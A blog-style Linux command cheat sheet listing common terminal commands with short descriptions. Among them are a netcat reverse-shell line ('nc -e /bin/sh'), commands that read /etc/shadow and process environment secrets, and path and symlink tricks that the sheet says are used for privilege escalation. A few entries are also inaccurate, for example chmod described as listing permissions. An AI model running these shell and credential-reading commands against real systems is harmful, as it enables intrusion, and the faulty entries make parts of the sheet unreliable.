If you using google before running each and every Linux command and you finding it intricate to get comfortable with Linux terminal then you are not the only one. Most people find difficult to get accustomed with the CLI because of large number of Linux commands which are difficult to memorize.
List of commonly used Linux Commands
Command
|
Description
|
pwd
|
Get the current working directory
|
ls
|
List of all the files/folders in current directory
|
ls /
|
List of all the files/folders in root directory
|
ls -la
|
list of all the files (hidden also) with permission
|
cd /
|
Navigate to root directory
|
cd /[directory name]/
|
Navigate to a particular directory in the root
|
cd ..
|
Navigate 1 directory back. (Click of back button in windows)
|
cd ../..
|
Navigate back 2 directories
|
mkdir [Directory name]
|
Create new directory
|
rmdir [Directory name]
|
Remove directory(only if directory is empty)
|
rm [file name]
|
Remove a file
|
rm –r [Directory name]
|
Remove folder containing file(s)
|
nano [filename]
ctrl+o+y
Ctrl+x
|
Create a new file using nano text editory
|
Save a file in nano editor
|
|
Exit from nano editor
|
|
touch [filename]
|
Create a empty file
|
ls > file1
|
Overwrite the file with output of ls(or any other) command
|
ls >> file1
|
Append to the file
|
sort -r
|
Sort in reverse order
|
sort -n
|
Sort the number
|
sort -M
|
Sort by month
|
ls | grep [keyword][location of file]
|
Output of ls command is given as input to grep. grep search for a particular string (by default in current directory)
|
grep -r
|
Search recursively by going into sub folders
|
grep -i
|
Search by ignoring cases
|
cat /etc/os-release
|
Get the OS version
|
diff file1 file2
|
Shows the difference between two files
|
ifconfig
ip addr (in some distros)
|
Get IP address
|
uname -a
|
Get system information
|
file <file name>
|
Check the file type
|
cat /etc/passwd
|
Get list of all the users in the system
|
cat /etc/shadow
|
Get list of hashed password of all the users in the system
|
whereis [command name]
|
Search a command
|
which [executable file]
|
Find the path of executable file
|
/bin/bash
|
Run bash shell
|
printenv
|
Print all the environment variables
|
cat /proc/self/environ
|
|
export VARIABLE=”value”
|
Set the value of environment variable
|
/etc/resolv.conf
|
Change DNS configuration
|
/var/www
|
Directory generally where web applications are located
|
nc -vv -l -p [Port]
|
Open a socket to listen for incoming connection
vv : more verbose
-l : listnening
-p : port
|
nc -e /bin/sh [IP] [Port]
|
Connecting to netcat service running on other system and open the reverse shell
|
/etc/init.d/apache2 restart
|
Restart apache web server
|
ln -s /bin/bash[link to file] ps[new symbolic link]
|
Symbolic link to existing file(used in privilege escalation attacks)
|
export PATH=.:$PATH
|
Add current location to executable path
|
find . -name [file name]
|
Find a file in current and sub-directories
|
find /home -name ‘*.jpg’
|
Find all .jpg files in the /home and sub-directories
|
find . -name “*.jpg” -delete
|
Find and delete all .jpg files in current and sub-directories
|
alias p=”pwd”
|
Using alias for a command. Now p will give output of pwd for the current session
|
tar -xvzf community_images.tar.gz
|
Unzip a file
f: this must be the last flag of the command, and the tar file must be immediately after. It tells tar the name and path of the compressed file.
z: tells tar to decompress the archive using gzip
x: tar can collect files or extract them. x does the latter.
v: makes tar talk a lot. Verbose output shows you all the files being extracted.
|
ps aux
|
Get list of running processes
|
passwd [username]
|
Reset password
|
ifconfig -a
|
List all the network adapter settings along with the interface
|
sudo dhclient eth0
|
Resolves the issue if IP address in not assigned automatically at the particular interface. (Here eth0)
|
sudo shutdown -h now
|
Shutdown the system
|
sudo reboot
|
Reboot the system
|
man or [command] –help
|
Get the help for a particular command
|
chmod [file name]
|
Get the list of permissions associated with a file
|
chmod +x [file name]
|
Make a file executable
|
cp [dest1][dest2]
|
Copy a file from dest1 to dest2
|
mv [dest1][dest2]
|
Cut a file from dest1 to dest2 (Also used to rename the file)
|
kill [process id]
|
Kill a process using process id (process id is obtained using ps command)
|
history
|
List of all the commands used in past by the current user
|
dpkg –get-selections
|
Get the list of packages installed
|
service [service name] start
|
Start any service
|
netstat -antp
|
Get the list of all(-a) the open tcp sockets(-t) along with its details like numeric local and foreign address (-n) and process (-p)
|
Things to note
📃 Output format of /etc/passwd along with the expaination
📃 Output format of chmod along with the explaination
permissions may be r(read), write(write), x(execute)
[permissions to owner of file][permissions to the group to which owner belongs][permissions to any other user on the system]
Though there are several other commands, these are some of commands which are frequently used. Keep this as the handy reference for future use. Do comment your suggestions about the post. I will be happy to receive the feedback. Also share if you find it useful.
Follow me on twitter @PiyushSaurabh07 to get the notifications of my new posts in future.
Happy Learning 😊
Very interesting….